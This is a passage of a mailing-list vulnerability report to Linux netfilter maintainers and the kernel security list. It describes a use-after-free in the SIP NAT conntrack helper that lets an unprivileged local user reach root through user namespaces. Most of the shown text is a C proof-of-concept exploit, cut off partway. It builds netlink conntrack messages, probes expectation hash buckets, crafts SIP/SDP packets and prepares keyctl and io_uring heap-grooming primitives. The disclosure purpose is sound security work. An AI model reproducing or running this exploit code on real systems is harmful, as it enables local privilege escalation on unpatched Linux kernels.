* netfilter: nf_nat_sip expectation UAF permits local privilege escalation
@ 2026-07-10 23:19 Jaeyeong Lee
2026-07-11 5:29 ` Greg KH
0 siblings, 1 reply; 10+ messages in thread
From: Jaeyeong Lee @ 2026-07-10 23:19 UTC (permalink / raw)
To: pablo@netfilter.org, fw@strlen.de
Cc: phil@nwl.cc, netfilter-devel@vger.kernel.org, security@kernel.org
[-- Attachment #1.1: Type: text/plain, Size: 45165 bytes --]
## Vulnerability Summary
The way nf_conntrack expectations are deleted was changed from synchronous deletion to GC-based deferred deletion, but the SIP NAT helper still assumes that expectations are removed immediately. As a result, the same expectation object that is already linked into the hash/list gets re-inserted with only its port changed, causing list corruption and a use-after-free.
On systems where unprivileged user namespace creation is allowed, an ordinary local user can reach this path from within a user/network namespace that they own. Capabilities in the initial user namespace are not required. On an unpatched mainline kernel, we verified not only a kernel crash but also an LPE leading all the way to root in the initial user namespace.
## Original Introducing Commit
The problem was introduced in the following commit.
b8b09dc2bf35a00d4e0556b5d6308c7b917ebda2
netfilter: nf_conntrack_expect: use conntrack GC to reap expectations
This commit has been included since v7.2-rc1. v7.1 is not affected, while v7.2-rc1 and v7.2-rc2 are affected.
## Behavior Before the Change
The original linux-mainline-head/net/netfilter/nf_conntrack_expect.c:294 internally unlinked the expectation synchronously.
Therefore, after the function returned, the expectation's:
- hnode in the global expectation hash
- lnode in the master conntrack expectation list
were both in a removed state. The caller could change the tuple or port of the same object and pass it again to nf_ct_expect_related().
## Behavior After the Change
After the offending commit, nf_ct_unexpect_related() does not perform the actual unlink and only sets NF_CT_EXPECT_DEAD as follows.
WRITE_ONCE(exp->flags, exp->flags | NF_CT_EXPECT_DEAD);
The object is still linked into the following data structures.
nf_ct_expect_hash[old_bucket] -> exp->hnode
master_help->expectations -> exp->lnode
The actual removal is later performed by GC paths such as nf_ct_expectation_gc().
In other words, the meaning of the function effectively changed as follows.
Before: on return, the object is completely removed from the hash/list
After: on return, only the DEAD flag is set and the object is still linked
## Vulnerable SIP NAT Path
The offending caller is linux-mainline-head/net/netfilter/nf_nat_sip.c:586.
To reserve the RTP and RTCP ports of SIP/SDP, it repeats the following operations.
1. Set the destination port of the RTP expectation to p.
2. Insert the RTP expectation with nf_ct_expect_related(rtp_exp).
3. Set the RTCP expectation's port to p + 1 and insert it.
4. If the RTCP port is already in use and -EBUSY is returned, cancel the RTP expectation.
5. In the next iteration, change the port to p + 2 and reuse the same rtp_exp.
The problematic code is the following flow.
ret = nf_ct_expect_related(rtcp_exp, NF_CT_EXP_F_SKIP_MASTER);
if (ret == -EBUSY) {
nf_ct_unexpect_related(rtp_exp);
continue;
}
This code assumes that nf_ct_unexpect_related(rtp_exp) unlinks the RTP expectation immediately. However, after the change, only the DEAD flag is set and rtp_exp is still linked into the existing hash bucket and master list.
In the next iteration, the port of the same object is changed.
rtp_exp->tuple.dst.u.udp.port = htons(port);
nf_ct_expect_related(rtp_exp, NF_CT_EXP_F_SKIP_MASTER);
## Data Structure Corruption Process
If the original RTP port p and the changed port p + 2 compute to different expectation hash buckets, __nf_ct_expect_check() only inspects the new bucket.
Therefore it fails to find the same rtp_exp that is still linked in the old bucket, and calls nf_ct_expect_insert().
nf_ct_expect_insert() re-inserts the same nodes of an already-linked object.
hlist_add_head_rcu(&exp->lnode, &master_help->expectations);
hlist_add_head_rcu(&exp->hnode, &nf_ct_expect_hash[h]);
As a result:
- The same hnode is re-inserted into a different hash bucket.
- The same lnode is re-inserted into the same master list.
- The lnode may form a cycle pointing to itself.
- A stale entry pointing to the object remains in the previous hash bucket.
- expect_count, expecting[], and exp->use no longer match the actual list membership.
- NF_CT_EXPECT_DEAD also remains set, so the object becomes a GC removal target.
Afterwards, when a GC or conntrack cleanup path unlinks this object, the corrupted list may cause the same object to be processed repeatedly, or nf_ct_expect_put() to be performed more times than the reference count.
Ultimately, even after the expectation object has been freed via RCU, a use-after-free condition is created in which it can still be accessed through the existing hash/list paths.
The observed crash path is as follows.
nf_ct_expectation_gc()
-> nf_ct_unlink_expect_report()
-> corrupted/stale expectation access
The same corruption can also surface during nf_ct_remove_expectations() or the network namespace cleanup process.
## Attack Reachability Conditions
The privileges at the start of the attack are as follows.
uid=1000
CapEff=0
no capabilities in the initial user namespace
When unprivileged user namespace creation is allowed, the attacker can create a user/network namespace that they own, in the same way as unshare -Urn. The required CAP_NET_ADMIN and CAP_NET_RAW are obtained only within this new namespace.
CAP_NET_ADMIN in the initial user namespace is not required.
Within the network namespace they own, the attacker can:
- Set up a NAT flow with the SIP conntrack helper attached,
- Arrange it so that the RTP expectation insertion succeeds but the RTCP expectation insertion becomes -EBUSY, and
- Have SIP/SDP packets processed,
thereby executing the vulnerable reuse path.
## Relevant Configuration
The main configuration relevant to reaching the root bug is as follows.
CONFIG_USER_NS=y
CONFIG_NET_NS=y
CONFIG_NETFILTER=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_CT_NETLINK=y
CONFIG_NF_CONNTRACK_SIP=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_SIP=y
CONFIG_NF_TABLES=y
CONFIG_NFT_CT=y
Additionally, the system policy must allow unprivileged user namespace creation.
## poc
#define_GNU_SOURCE
#include<arpa/inet.h>
#include<errno.h>
#include<fcntl.h>
#include<linux/io_uring.h>
#include<linux/if_ether.h>
#include<linux/if_packet.h>
#include<linux/keyctl.h>
#include<linux/netfilter/nf_conntrack_common.h>
#include<linux/netfilter/nf_tables.h>
#include<linux/netfilter/nfnetlink.h>
#include<linux/netfilter/nfnetlink_conntrack.h>
#include<linux/netlink.h>
#include<linux/types.h>
#include<limits.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<net/if.h>
#include<poll.h>
#include<sched.h>
#include<signal.h>
#include<stdarg.h>
#include<stdbool.h>
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/eventfd.h>
#include<sys/msg.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<sys/syscall.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/un.h>
#include<time.h>
#include<unistd.h>
#ifndefNLA_F_NESTED
#define NLA_F_NESTED (1U<<15)
#endif
#ifndefNLA_TYPE_MASK
#define NLA_TYPE_MASK ~(NLA_F_NESTED | (1U<<14))
#endif
#ifndefNLA_OK
#define NLA_OK(a, rem) \
((rem) >= (int)sizeof(struct nlattr) &&\
(a)->nla_len>= sizeof(struct nlattr) &&\
(a)->nla_len<= (rem))
#endif
#ifndefNLA_NEXT
#define NLA_NEXT(a, rem) \
((rem) -=NLA_ALIGN((a)->nla_len), \
(struct nlattr *)((char*)(a) +NLA_ALIGN((a)->nla_len)))
#endif
#ifndefNF_CT_EXPECT_PERMANENT
#define NF_CT_EXPECT_PERMANENT 0x1
#endif
#defineARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
#defineNL_BUFSZ65536
structtuple4{
uint32_tsaddr;
uint32_tdaddr;
uint16_tsport;
uint16_tdport;
uint8_tproto;
};
structnlmsg_buf{
unsignedchardata[8192];
size_tlen;
};
structexp_row{
structtuple4tuple;
structtuple4master;
uint32_tid;
uint32_tclass;
uint32_tflags;
};
structuring{
intfd;
structio_uring_paramsp;
void*sq_ring;
void*cq_ring;
size_tsq_ring_sz;
size_tcq_ring_sz;
structio_uring_sqe*sqes;
unsigned*sq_head;
unsigned*sq_tail;
unsigned*sq_mask;
unsigned*sq_entries;
unsigned*sq_array;
unsigned*cq_head;
unsigned*cq_tail;
unsigned*cq_mask;
structio_uring_cqe*cqes;
unsignedpending;
};
structstale_chain{
structtuple4victim;
structtuple4seed;
uint32_tseed_id;
};
structmsg80{
longtype;
unsignedchardata[80];
};
staticintnlfd=-1;
staticuint32_tnlseq;
staticboolpacket_ready;
staticunsignedchain_serial;
staticvoiddie(constchar*fmt, ...)
{
va_listap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
if (errno)
fprintf(stderr, ": %s", strerror(errno));
fputc('\n', stderr);
exit(EXIT_FAILURE);
}
staticvoid*xmalloc(size_tn)
{
void*p=malloc(n);
if (!p)
die("malloc(%zu)", n);
returnp;
}
staticvoidnlmsg_init(structnlmsg_buf*b, uint16_ttype, uint16_tflags,
uint8_tfamily)
{
structnlmsghdr*nlh;
structnfgenmsg*nfg;
memset(b, 0, sizeof(*b));
b->len=NLMSG_LENGTH(sizeof(*nfg));
nlh= (structnlmsghdr*)b->data;
nlh->nlmsg_len=b->len;
nlh->nlmsg_type=type;
nlh->nlmsg_flags=flags;
nlh->nlmsg_seq=++nlseq;
nfg=NLMSG_DATA(nlh);
nfg->nfgen_family =family;
nfg->version = NFNETLINK_V0;
nfg->res_id =htons(0);
}
staticstructnlattr*nla_put(structnlmsg_buf*b, uint16_ttype,
constvoid*data, size_tlen)
{
structnlmsghdr*nlh= (structnlmsghdr*)b->data;
size_traw=NLA_HDRLEN+len;
size_taligned=NLA_ALIGN(raw);
structnlattr*a;
if (b->len+aligned>sizeof(b->data))
die("netlink message overflow");
a= (structnlattr*)(b->data+b->len);
a->nla_type=type;
a->nla_len=raw;
if (len)
memcpy((char*)a+NLA_HDRLEN, data, len);
if (aligned>raw)
memset((char*)a+raw, 0, aligned-raw);
b->len+=aligned;
nlh->nlmsg_len=b->len;
returna;
}
staticvoidnla_put_u8(structnlmsg_buf*b, uint16_ttype, uint8_tv)
{
nla_put(b, type, &v, sizeof(v));
}
staticvoidnla_put_be16(structnlmsg_buf*b, uint16_ttype, uint16_thost)
{
uint16_tv=htons(host);
nla_put(b, type, &v, sizeof(v));
}
staticvoidnla_put_be32_host(structnlmsg_buf*b, uint16_ttype, uint32_thost)
{
uint32_tv=htonl(host);
nla_put(b, type, &v, sizeof(v));
}
staticstructnlattr*nla_nest_start(structnlmsg_buf*b, uint16_ttype)
{
returnnla_put(b, type|NLA_F_NESTED, NULL, 0);
}
staticvoidnla_nest_end(structnlmsg_buf*b, structnlattr*a)
{
a->nla_len= (char*)b->data+b->len- (char*)a;
}
staticvoidput_tuple(structnlmsg_buf*b, uint16_ttype,
conststructtuple4*t)
{
structnlattr*outer=nla_nest_start(b, type);
structnlattr*ip=nla_nest_start(b, CTA_TUPLE_IP);
nla_put(b, CTA_IP_V4_SRC, &t->saddr, sizeof(t->saddr));
nla_put(b, CTA_IP_V4_DST, &t->daddr, sizeof(t->daddr));
nla_nest_end(b, ip);
structnlattr*pr=nla_nest_start(b, CTA_TUPLE_PROTO);
nla_put_u8(b, CTA_PROTO_NUM, t->proto);
nla_put_be16(b, CTA_PROTO_SRC_PORT, ntohs(t->sport));
nla_put_be16(b, CTA_PROTO_DST_PORT, ntohs(t->dport));
nla_nest_end(b, pr);
nla_nest_end(b, outer);
}
staticintnl_open(void)
{
structsockaddr_nlsa= { .nl_family=AF_NETLINK };
nlfd=socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (nlfd<0)
die("socket(NETLINK_NETFILTER)");
if (bind(nlfd, (structsockaddr*)&sa, sizeof(sa)) <0)
die("bind(NETLINK_NETFILTER)");
returnnlfd;
}
staticintnl_send(conststructnlmsg_buf*b)
{
structsockaddr_nlsa= { .nl_family=AF_NETLINK };
ssize_tn;
n=sendto(nlfd, b->data, b->len, 0, (structsockaddr*)&sa, sizeof(sa));
if (n<0)
return-errno;
if ((size_t)n!=b->len)
return-EIO;
return0;
}
staticintnl_ack(uint32_tseq)
{
unsignedcharbuf[NL_BUFSZ];
for (;;) {
ssize_tn=recv(nlfd, buf, sizeof(buf), 0);
structnlmsghdr*h;
if (n<0) {
if (errno==EINTR)
continue;
return-errno;
}
for (h= (structnlmsghdr*)buf; NLMSG_OK(h, n);
h=NLMSG_NEXT(h, n)) {
if (h->nlmsg_seq!=seq)
continue;
if (h->nlmsg_type==NLMSG_ERROR) {
structnlmsgerr*e=NLMSG_DATA(h);
returne->error;
}
if (h->nlmsg_type==NLMSG_DONE)
return0;
}
}
}
staticintnl_transact(structnlmsg_buf*b)
{
structnlmsghdr*h= (structnlmsghdr*)b->data;
intret=nl_send(b);
if (ret)
returnret;
returnnl_ack(h->nlmsg_seq);
}
staticvoidadd_help(structnlmsg_buf*b, constchar*name)
{
structnlattr*help=nla_nest_start(b, CTA_HELP);
nla_put(b, CTA_HELP_NAME, name, strlen(name) +1);
nla_nest_end(b, help);
}
staticintct_new(conststructtuple4*orig, conststructtuple4*reply,
constchar*helper, uint32_tnat_src, unsignedtimeout)
{
structnlmsg_bufb;
nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK <<8) | IPCTNL_MSG_CT_NEW,
NLM_F_REQUEST|NLM_F_ACK|NLM_F_CREATE|NLM_F_EXCL,
AF_INET);
put_tuple(&b, CTA_TUPLE_ORIG, orig);
put_tuple(&b, CTA_TUPLE_REPLY, reply);
nla_put_be32_host(&b, CTA_TIMEOUT, timeout);
if (helper)
add_help(&b, helper);
if (nat_src) {
structnlattr*nat=nla_nest_start(&b, CTA_NAT_SRC);
nla_put(&b, CTA_NAT_V4_MINIP, &nat_src, sizeof(nat_src));
nla_put(&b, CTA_NAT_V4_MAXIP, &nat_src, sizeof(nat_src));
nla_nest_end(&b, nat);
}
returnnl_transact(&b);
}
staticintct_del(conststructtuple4*orig)
{
structnlmsg_bufb;
nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK <<8) | IPCTNL_MSG_CT_DELETE,
NLM_F_REQUEST|NLM_F_ACK, AF_INET);
put_tuple(&b, CTA_TUPLE_ORIG, orig);
returnnl_transact(&b);
}
staticintexp_new(conststructtuple4*master, conststructtuple4*tuple,
conststructtuple4*mask, unsignedclass, unsignedflags,
unsignedtimeout)
{
structnlmsg_bufb;
nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_NEW,
NLM_F_REQUEST|NLM_F_ACK|NLM_F_CREATE|NLM_F_EXCL,
AF_INET);
put_tuple(&b, CTA_EXPECT_MASTER, master);
put_tuple(&b, CTA_EXPECT_TUPLE, tuple);
put_tuple(&b, CTA_EXPECT_MASK, mask);
nla_put_be32_host(&b, CTA_EXPECT_TIMEOUT, timeout);
nla_put_be32_host(&b, CTA_EXPECT_CLASS, class);
if (flags)
nla_put_be32_host(&b, CTA_EXPECT_FLAGS, flags);
returnnl_transact(&b);
}
staticintexp_del(conststructtuple4*tuple)
{
structnlmsg_bufb;
nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_DELETE,
NLM_F_REQUEST|NLM_F_ACK, AF_INET);
put_tuple(&b, CTA_EXPECT_TUPLE, tuple);
returnnl_transact(&b);
}
staticintexp_del_id(conststructtuple4*tuple, uint32_tid)
{
structnlmsg_bufb;
nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_DELETE,
NLM_F_REQUEST|NLM_F_ACK, AF_INET);
put_tuple(&b, CTA_EXPECT_TUPLE, tuple);
nla_put(&b, CTA_EXPECT_ID, &id, sizeof(id));
returnnl_transact(&b);
}
staticstructnlattr*nla_find(constvoid*data, size_tlen, unsignedtype)
{
structnlattr*a;
for (a= (structnlattr*)data; NLA_OK(a, len); a=NLA_NEXT(a, len))
if ((a->nla_type&NLA_TYPE_MASK) ==type)
returna;
returnNULL;
}
staticboolparse_tuple_attr(structnlattr*outer, structtuple4*t)
{
size_tlen=outer->nla_len-NLA_HDRLEN;
void*data= (char*)outer+NLA_HDRLEN;
structnlattr*ip=nla_find(data, len, CTA_TUPLE_IP);
structnlattr*pr=nla_find(data, len, CTA_TUPLE_PROTO);
structnlattr*a;
size_tilen, plen;
if (!ip||!pr)
returnfalse;
memset(t, 0, sizeof(*t));
ilen=ip->nla_len-NLA_HDRLEN;
a=nla_find((char*)ip+NLA_HDRLEN, ilen, CTA_IP_V4_SRC);
if (a)
memcpy(&t->saddr, (char*)a+NLA_HDRLEN, 4);
a=nla_find((char*)ip+NLA_HDRLEN, ilen, CTA_IP_V4_DST);
if (a)
memcpy(&t->daddr, (char*)a+NLA_HDRLEN, 4);
plen=pr->nla_len-NLA_HDRLEN;
a=nla_find((char*)pr+NLA_HDRLEN, plen, CTA_PROTO_NUM);
if (a)
memcpy(&t->proto, (char*)a+NLA_HDRLEN, 1);
a=nla_find((char*)pr+NLA_HDRLEN, plen, CTA_PROTO_SRC_PORT);
if (a)
memcpy(&t->sport, (char*)a+NLA_HDRLEN, 2);
a=nla_find((char*)pr+NLA_HDRLEN, plen, CTA_PROTO_DST_PORT);
if (a)
memcpy(&t->dport, (char*)a+NLA_HDRLEN, 2);
returntrue;
}
staticsize_texp_dump_for(conststructtuple4*master,
structexp_row*rows, size_tcap)
{
structnlmsg_bufb;
structnlmsghdr*req;
unsignedcharbuf[NL_BUFSZ];
size_tnr=0;
booldone=false;
intret;
nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_GET,
NLM_F_REQUEST|NLM_F_DUMP, AF_INET);
if (master)
put_tuple(&b, CTA_EXPECT_MASTER, master);
req= (structnlmsghdr*)b.data;
ret=nl_send(&b);
if (ret)
die("expectation dump send: %s", strerror(-ret));
while (!done) {
ssize_tn=recv(nlfd, buf, sizeof(buf), 0);
structnlmsghdr*h;
if (n<0) {
if (errno==EINTR)
continue;
die("expectation dump recv");
}
for (h= (structnlmsghdr*)buf; NLMSG_OK(h, n);
h=NLMSG_NEXT(h, n)) {
structnfgenmsg*nfg;
structnlattr*attrs, *ta, *ma, *ia, *ca, *fa;
size_talen;
if (h->nlmsg_seq!=req->nlmsg_seq)
continue;
if (h->nlmsg_type==NLMSG_DONE) {
done=true;
break;
}
if (h->nlmsg_type==NLMSG_ERROR) {
structnlmsgerr*e=NLMSG_DATA(h);
if (e->error)
die("expectation dump: %s", strerror(-e->error));
done=true;
break;
}
if (nr==cap)
die("expectation dump capacity");
nfg=NLMSG_DATA(h);
attrs= (structnlattr*)((char*)nfg+NLMSG_ALIGN(sizeof(*nfg)));
alen=h->nlmsg_len-NLMSG_LENGTH(sizeof(*nfg));
ta=nla_find(attrs, alen, CTA_EXPECT_TUPLE);
if (!ta||!parse_tuple_attr(ta, &rows[nr].tuple))
continue;
memset(&rows[nr].master, 0, sizeof(rows[nr].master));
rows[nr].id=rows[nr].class=rows[nr].flags=0;
ma=nla_find(attrs, alen, CTA_EXPECT_MASTER);
ia=nla_find(attrs, alen, CTA_EXPECT_ID);
ca=nla_find(attrs, alen, CTA_EXPECT_CLASS);
fa=nla_find(attrs, alen, CTA_EXPECT_FLAGS);
if (ma)
parse_tuple_attr(ma, &rows[nr].master);
if (ia&&ia->nla_len>=NLA_HDRLEN+sizeof(uint32_t))
memcpy(&rows[nr].id, (char*)ia+NLA_HDRLEN,
sizeof(rows[nr].id));
if (ca)
rows[nr].class=ntohl(*(uint32_t*)((char*)ca+NLA_HDRLEN));
if (fa)
rows[nr].flags=ntohl(*(uint32_t*)((char*)fa+NLA_HDRLEN));
nr++;
}
}
returnnr;
}
staticsize_texp_dump(structexp_row*rows, size_tcap)
{
returnexp_dump_for(NULL, rows, cap);
}
staticsize_texp_dump_master(conststructtuple4*master,
structexp_row*rows, size_tcap)
{
returnexp_dump_for(master, rows, cap);
}
staticintrow_pos(conststructexp_row*rows, size_tnr, uint32_tdaddr,
unsigneddport)
{
for (size_ti=0; i<nr; i++)
if (rows[i].tuple.daddr==daddr&&ntohs(rows[i].tuple.dport) ==dport)
returni;
return-1;
}
staticstructtuple4exp_tuple(uint32_tdst, unsignedport);
staticstructtuple4exp_mask(boolexact_source);
staticvoidexpect_pair_add(conststructtuple4*master, uint32_tdaddr,
unsignedfirst, unsignedsecond)
{
structtuple4mask=exp_mask(true);
structtuple4a=exp_tuple(daddr, first);
structtuple4b=exp_tuple(daddr, second);
intret;
a.saddr=b.saddr=inet_addr("192.0.2.20");
a.sport=b.sport=htons(40000);
ret=exp_new(master, &a, &mask, 1, 0, 3600);
if (ret)
die("expect marker %u: %s", first, strerror(-ret));
ret=exp_new(master, &b, &mask, 1, 0, 3600);
if (ret)
die("expect marker %u: %s", second, strerror(-ret));
}
staticvoidexpect_pair_del(uint32_tdaddr, unsigneda_port, unsignedb_port)
{
structtuple4a=exp_tuple(daddr, a_port);
structtuple4b=exp_tuple(daddr, b_port);
intret;
a.saddr=b.saddr=inet_addr("192.0.2.20");
a.sport=b.sport=htons(40000);
ret=exp_del(&a);
if (ret)
die("delete expect marker %u: %s", a_port, strerror(-ret));
ret=exp_del(&b);
if (ret)
die("delete expect marker %u: %s", b_port, strerror(-ret));
}
staticintexpect_pair_order(uint32_tdaddr, unsigneda_port,
unsignedb_port)
{
structexp_rowrows[32];
size_tnr=exp_dump(rows, ARRAY_SIZE(rows));
inta=row_pos(rows, nr, daddr, a_port);
intb=row_pos(rows, nr, daddr, b_port);
if (a<0||b<0||a==b)
die("expectation dump lost markers %u/%u", a_port, b_port);
returna<b?-1:1;
}
staticboolsame_expect_bucket(conststructtuple4*master, uint32_tdaddr,
unsigneda_port, unsignedb_port)
{
intab, ba;
expect_pair_add(master, daddr, a_port, b_port);
ab=expect_pair_order(daddr, a_port, b_port);
expect_pair_del(daddr, a_port, b_port);
expect_pair_add(master, daddr, b_port, a_port);
ba=expect_pair_order(daddr, a_port, b_port);
expect_pair_del(daddr, a_port, b_port);
returnab!=ba;
}
staticunsignedfind_sip_hash_port(conststructtuple4*master, uint32_tdaddr)
{
for (unsignedp=1024; p<=65530; p+=2) {
if (!same_expect_bucket(master, daddr, p, p+3))
continue;
if (same_expect_bucket(master, daddr, p, p+2))
continue;
returnp;
}
die("no suitable SIP expectation hash relation");
return0;
}
staticstructtuple4tuple_make(constchar*saddr, unsignedsport,
constchar*daddr, unsigneddport)
{
structtuple4t= {
.saddr=inet_addr(saddr),
.daddr=inet_addr(daddr),
.sport=htons(sport),
.dport=htons(dport),
.proto= IPPROTO_UDP,
};
returnt;
}
staticstructtuple4tuple_reply(conststructtuple4*o)
{
structtuple4r= {
.saddr=o->daddr,
.daddr=o->saddr,
.sport=o->dport,
.dport=o->sport,
.proto=o->proto,
};
returnr;
}
staticbooltuple_equal(conststructtuple4*a, conststructtuple4*b)
{
returna->saddr==b->saddr&&a->daddr==b->daddr&&
a->sport==b->sport&&a->dport==b->dport&&
a->proto==b->proto;
}
staticstructtuple4exp_tuple(uint32_tdst, unsignedport)
{
structtuple4t= {
.saddr=0,
.daddr=dst,
.sport=0,
.dport=htons(port),
.proto= IPPROTO_UDP,
};
returnt;
}
staticstructtuple4exp_mask(boolexact_source)
{
structtuple4m= {
.saddr=exact_source?0xffffffffU:0,
.daddr=0xffffffffU,
.sport=exact_source?0xffffU:0,
.dport=0xffffU,
.proto=0xff,
};
returnm;
}
staticintrun_cmd(constchar*cmd)
{
intst=system(cmd);
if (st==-1)
return-errno;
if (!WIFEXITED(st) ||WEXITSTATUS(st))
return-ECHILD;
return0;
}
staticintpin_last_cpu(void)
{
cpu_set_tallowed, one;
intcpu=-1;
CPU_ZERO(&allowed);
if (sched_getaffinity(0, sizeof(allowed), &allowed) <0)
die("sched_getaffinity");
for (inti=0; i< CPU_SETSIZE; i++)
if (CPU_ISSET(i, &allowed))
cpu=i;
if (cpu<0)
die("no allowed CPU");
CPU_ZERO(&one);
CPU_SET(cpu, &one);
if (sched_setaffinity(0, sizeof(one), &one) <0)
die("sched_setaffinity(%d)", cpu);
returncpu;
}
staticvoidnetns_setup(void)
{
if (run_cmd("/usr/sbin/ip link set lo up") ||
run_cmd("/usr/sbin/nft add table ip lpe") ||
run_cmd("/usr/sbin/nft 'add ct helper ip lpe sip { type \"sip\" protocol udp; }'"))
die("net namespace netfilter setup failed");
}
staticvoidpacket_path_setup(void)
{
if (run_cmd("/usr/sbin/ip link add v0 type veth peer name v1") ||
run_cmd("/usr/sbin/ip link set v0 address 02:00:00:00:00:10") ||
run_cmd("/usr/sbin/ip link set v1 address 02:00:00:00:00:11") ||
run_cmd("/usr/sbin/ip address add 10.23.0.1/32 dev v1") ||
run_cmd("/usr/sbin/ip link set v0 up") ||
run_cmd("/usr/sbin/ip link set v1 up") ||
run_cmd("/usr/sbin/ip route add 10.23.0.2/32 dev v1"))
die("veth setup failed");
}
staticuint16_tipv4_checksum(constvoid*data, size_tlen)
{
constunsignedchar*p=data;
uint32_tsum=0;
while (len>=2) {
sum+= ((uint16_t)p[0] <<8) |p[1];
p+=2;
len-=2;
}
if (len)
sum+= (uint16_t)p[0] <<8;
while (sum>>16)
sum= (sum&0xffff) + (sum>>16);
returnhtons((uint16_t)~sum);
}
staticvoidsend_sip_sdp(unsignedmedia_port)
{
staticconstunsignedchardst_mac[ETH_ALEN] =
{ 0x02, 0x00, 0x00, 0x00, 0x00, 0x11 };
staticconstunsignedcharsrc_mac[ETH_ALEN] =
{ 0x02, 0x00, 0x00, 0x00, 0x00, 0x10 };
charbody[512], payload[1024];
structsockaddr_llsa= { .sll_family =AF_PACKET };
structethhdr*eth;
structiphdr*ip;
structudphdr*udp;
unsignedchar*frame;
size_tbody_len, payload_len, frame_len;
intfd, n;
n=snprintf(body, sizeof(body),
"v=0\r\n"
"o=- 0 0 IN IP4 10.23.0.2\r\n"
"c=IN IP4 10.23.0.2\r\n"
"m=audio %u RTP/AVP 0\r\n", media_port);
if (n<0|| (size_t)n>=sizeof(body))
die("SDP body formatting");
body_len=n;
n=snprintf(payload, sizeof(payload),
"ACK sip:10.23.0.1 SIP/2.0\r\n"
"CSeq: 1 ACK\r\n"
"Content-Type: application/sdp\r\n"
"Content-Length: %zu\r\n"
"\r\n%s", body_len, body);
if (n<0|| (size_t)n>=sizeof(payload))
die("SIP packet formatting");
payload_len=n;
frame_len=sizeof(*eth) +sizeof(*ip) +sizeof(*udp) +payload_len;
frame=calloc(1, frame_len);
if (!frame)
die("calloc SIP frame");
eth= (structethhdr*)frame;
ip= (structiphdr*)(eth+1);
udp= (structudphdr*)(ip+1);
memcpy(eth->h_dest, dst_mac, ETH_ALEN);
memcpy(eth->h_source, src_mac, ETH_ALEN);
eth->h_proto =htons(ETH_P_IP);
ip->version =4;
ip->ihl =5;
ip->tot_len =htons(sizeof(*ip) +sizeof(*udp) +payload_len);
ip->id =htons(0x1234);
ip->ttl =64;
ip->protocol = IPPROTO_UDP;
ip->saddr =inet_addr("10.23.0.2");
ip->daddr =inet_addr("10.23.0.1");
ip->check =ipv4_checksum(ip, sizeof(*ip));
udp->source =htons(40000);
udp->dest =htons(5060);
udp->len =htons(sizeof(*udp) +payload_len);
udp->check =0;
memcpy(udp+1, payload, payload_len);
fd=socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_IP));
if (fd<0)
die("socket(AF_PACKET)");
sa.sll_protocol =htons(ETH_P_IP);
sa.sll_ifindex =if_nametoindex("v0");
sa.sll_halen = ETH_ALEN;
memcpy(sa.sll_addr, dst_mac, ETH_ALEN);
if (!sa.sll_ifindex)
die("if_nametoindex(v0)");
if (sendto(fd, frame, frame_len, 0,
(structsockaddr*)&sa, sizeof(sa)) != (ssize_t)frame_len)
die("send SIP frame");
close(fd);
free(frame);
}
staticvoidverify_clean_sip(unsignedport, uint32_tnat_addr)
{
structtuple4v=tuple_make("10.23.0.2", 40000,
"10.23.0.1", 5060);
structtuple4reply=tuple_reply(&v);
structtuple4e=exp_tuple(nat_addr, port);
structtuple4r=exp_tuple(nat_addr, port+1);
structexp_rowrows[32];
size_tnr;
intret;
ret=ct_new(&v, &reply, "sip", nat_addr, 3600);
if (ret)
die("create NAT SIP master: %s", strerror(-ret));
packet_path_setup();
send_sip_sdp(port);
fprintf(stderr, "stage: SIP duplicate insertion reached\n");
nr=exp_dump(rows, ARRAY_SIZE(rows));
if (row_pos(rows, nr, nat_addr, port) <0||
row_pos(rows, nr, nat_addr, port+1) <0)
die("clean SIP packet did not create RTP/RTCP expectations");
e.saddr=r.saddr=inet_addr("10.23.0.1");
ret=exp_del(&e);
if (ret)
die("delete clean RTP expectation: %s", strerror(-ret));
ret=exp_del(&r);
if (ret)
die("delete clean RTCP expectation: %s", strerror(-ret));
ret=ct_del(&v);
if (ret)
die("delete clean SIP master: %s", strerror(-ret));
printf("clean SIP/NAT helper path verified\n");
}
staticlongadd_user_key(constunsignedchar*desc, size_tdlen,
constvoid*payload, size_tplen)
{
char*s=xmalloc(dlen+1);
longid;
memcpy(s, desc, dlen);
s[dlen] =0;
id=syscall(SYS_add_key, "user", s, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
free(s);
returnid;
}
staticlongupdate_user_key(longid, constvoid*payload, size_tplen)
{
returnsyscall(SYS_keyctl, KEYCTL_UPDATE, id, payload, plen, 0);
}
staticlongread_user_key(longid, void*buffer, size_tbuflen)
{
returnsyscall(SYS_keyctl, KEYCTL_READ, id, buffer, buflen, 0);
}
staticvoiduring_init(structuring*r, unsignedentries)
{
size_tring_sz;
memset(r, 0, sizeof(*r));
r->fd=syscall(SYS_io_uring_setup, entries, &r->p);
if (r->fd<0)
die("io_uring_setup");
r->sq_ring_sz=r->p.sq_off.array+
r->p.sq_entries*sizeof(unsigned);
r->cq_ring_sz=r->p.cq_off.cqes+
r->p.cq_entries*sizeof(structio_uring_cqe);
if (r->p.features&IORING_FEAT_SINGLE_MMAP) {
ring_sz=r->sq_ring_sz>r->cq_ring_sz?
r->sq_ring_sz:r->cq_ring_sz;
r->sq_ring=mmap(NULL, ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd,
IORING_OFF_SQ_RING);
if (r->sq_ring== MAP_FAILED)
die("mmap io_uring rings");
r->cq_ring=r->sq_ring;
